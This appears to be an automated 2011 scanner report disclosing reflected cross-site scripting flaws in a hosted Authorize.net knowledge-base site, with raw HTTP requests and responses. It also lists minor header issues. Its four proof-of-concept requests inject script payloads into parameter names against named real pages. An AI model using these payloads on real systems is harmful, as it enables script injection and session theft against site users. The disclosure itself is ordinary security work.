XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, fuzeqna.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue May 10 14:30:02 CDT 2011.

1. Cross-site scripting (reflected)

1.1. http://www.fuzeqna.com/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter]

1.2. http://www.fuzeqna.com/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter]

1.3. http://www.fuzeqna.com/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter]

1.4. http://www.fuzeqna.com/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. HTML does not specify charset

4. Content type incorrectly stated

4.1. http://www.fuzeqna.com/authorize.net/css/styles.asp

4.2. http://www.fuzeqna.com/authorize.net/includes/jspell_proxy.aspx

1. Cross-site scripting (reflected) next
There are 4 instances of this issue:

/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter]
/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter]
/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter]
/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.fuzeqna.com/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/consumer/kbdetail.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload aa53f</script><script>alert(1)</script>2cb9e5eeacc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /authorize.net/consumer/kbdetail.asp?kbid=312&aa53f</script><script>alert(1)</script>2cb9e5eeacc=1 HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=q45sxijeymw3zyrnq40eyjyg

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:27:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
Content-Length: 48585
Content-Type: text/html
Cache-control: private

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta Name="keywords" Content="Fuze Q&A, Fuze Suite, Fuze QnA, FAQ, Frequently Asked Questions, eService,
...[SNIP]...
<!--
   if(window.parent!=window){
   }else{
       //document.location.href = "http://www.authorize.net/kb.asp?page_id=169764&url=" + escape("/authorize.net/consumer/kbdetail.asp?kbid=312&aa53f</script><script>alert(1)</script>2cb9e5eeacc=1")

       document.location.href = "http://www.authorize.net/support/knowledgebase/?page_id=169764&url=" + escape("/authorize.net/consumer/kbdetail.asp?kbid=312&aa53f</script>
...[SNIP]...

1.2. http://www.fuzeqna.com/authorize.net/consumer/kbdetail.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/consumer/kbdetail.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 741e1"-alert(1)-"6ef6ffdd678 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /authorize.net/consumer/kbdetail.asp?kbid=312&741e1"-alert(1)-"6ef6ffdd678=1 HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=q45sxijeymw3zyrnq40eyjyg

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:27:39 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
Content-Length: 48509
Content-Type: text/html
Cache-control: private

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta Name="keywords" Content="Fuze Q&A, Fuze Suite, Fuze QnA, FAQ, Frequently Asked Questions, eService,
...[SNIP]...
?kbid=312&741e1"-alert(1)-"6ef6ffdd678=1")

       document.location.href = "http://www.authorize.net/support/knowledgebase/?page_id=169764&url=" + escape("/authorize.net/consumer/kbdetail.asp?kbid=312&741e1"-alert(1)-"6ef6ffdd678=1")
   }
//-->
...[SNIP]...

1.3. http://www.fuzeqna.com/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/consumer/search.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ea94"-alert(1)-"14ce9ba2647 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /authorize.net/consumer/search.asp?8ea94"-alert(1)-"14ce9ba2647=1 HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.authorize.net/support/knowledgebase/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:24:54 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
Content-Length: 25360
Content-Type: text/html
Expires: Tue, 10 May 2011 19:23:53 GMT
Cache-control: private

<HTML>
<HEAD>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<META Name="keywords" Content="Fuze Q&A, Fuze Suite, Fuze QnA, FAQ, Frequently Asked Questions, eService, CRM, e
...[SNIP]...
/consumer/search.asp?8ea94"-alert(1)-"14ce9ba2647=1")

       document.location.href = "http://www.authorize.net/support/knowledgebase/?page_id=169764&url=" + escape("/authorize.net/consumer/search.asp?8ea94"-alert(1)-"14ce9ba2647=1")
   }
//-->
...[SNIP]...

1.4. http://www.fuzeqna.com/authorize.net/consumer/search.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/consumer/search.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload f6471</script><script>alert(1)</script>6a985e5c85f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /authorize.net/consumer/search.asp?f6471</script><script>alert(1)</script>6a985e5c85f=1 HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.authorize.net/support/knowledgebase/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:25:40 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
Content-Length: 26716
Content-Type: text/html
Expires: Tue, 10 May 2011 19:24:39 GMT
Cache-control: private

<HTML>
<HEAD>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<META Name="keywords" Content="Fuze Q&A, Fuze Suite, Fuze QnA, FAQ, Frequently Asked Questions, eService, CRM, e
...[SNIP]...
<!--
   if(window.parent!=window){
   }else{
       //document.location.href = "http://www.authorize.net/kb.asp?page_id=169764&url=" + escape("/authorize.net/consumer/search.asp?f6471</script><script>alert(1)</script>6a985e5c85f=1")

       document.location.href = "http://www.authorize.net/support/knowledgebase/?page_id=169764&url=" + escape("/authorize.net/consumer/search.asp?f6471</script>
...[SNIP]...

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/consumer/kbdetail.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.fuzeqna.com/authorize.net/consumer/kbdetail.asp?kbid=312

The response contains the following link to another domain:

http://www.authorize.net/videos

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /authorize.net/consumer/kbdetail.asp?kbid=312 HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=q45sxijeymw3zyrnq40eyjyg

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:25:45 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W3
X-Powered-By: ASP.NET
Content-Length: 48383
Content-Type: text/html
Cache-control: private

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta Name="keywords" Content="Fuze Q&A, Fuze Suite, Fuze QnA, FAQ, Frequently Asked Questions, eService,
...[SNIP]...
<p>For more information regarding AVS, please visit our online video tutorials at <a href="http://www.authorize.net/videos">http://www.authorize.net/videos</a>
...[SNIP]...

3. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fuzeqna.com
Path:	/authorize.net/static/empty.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /authorize.net/static/empty.html HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: public,max-age=2592000
Content-Length: 235
Content-Type: text/html
Last-Modified: Sat, 31 Oct 2009 08:01:04 GMT
Accept-Ranges: bytes
ETag: "20a2994b05aca1:24e5"
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W3
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 19:24:15 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title></title>
</
...[SNIP]...

4. Content type incorrectly stated previous
There are 2 instances of this issue:

/authorize.net/css/styles.asp
/authorize.net/includes/jspell_proxy.aspx

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

4.1. http://www.fuzeqna.com/authorize.net/css/styles.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.fuzeqna.com
Path:	/authorize.net/css/styles.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /authorize.net/css/styles.asp?m=x HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:24:07 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
Last-Modified: Fri, 06 May 2011 13:47:47 GMT
Content-Length: 30211
Content-Type: text/css
Cache-control: public

<STYLE TYPE="text/css">
<!--

.PopupCategoryName{color:#0000FF;font-weight:bold;}
.RowStyle{background-color:#F0EFD2;padding:1px;}

#DataTable{border:1px solid #cccccc;
padding:0px;
...[SNIP]...

4.2. http://www.fuzeqna.com/authorize.net/includes/jspell_proxy.aspx previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.fuzeqna.com
Path:	/authorize.net/includes/jspell_proxy.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain unrecognised content.

Request

POST /authorize.net/includes/jspell_proxy.aspx HTTP/1.1
Host: www.fuzeqna.com
Proxy-Connection: keep-alive
Referer: http://www.fuzeqna.com/authorize.net/consumer/search.asp
Origin: http://www.fuzeqna.com
Method: POST http://www.fuzeqna.com/authorize.net/includes/jspell_proxy.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 9

op=4&dic=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 19:24:18 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO PSA OUR"
S: W2
V: W2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=1wfyyn450s4fu245slrs3w55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 279

_3="";_4=new Object();
_4['deDE']="Deutsch (DE)";
_4['elGR']="................ (GR)";
_4['enUS']="English (US)";
_4['esES']="Espa..ol (ES)";
_4['frFR']="Fran..ais (FR)";
_4['itIT']="Italiano (IT)";
_4
...[SNIP]...

Report generated by XSS.CX at Tue May 10 14:30:02 CDT 2011.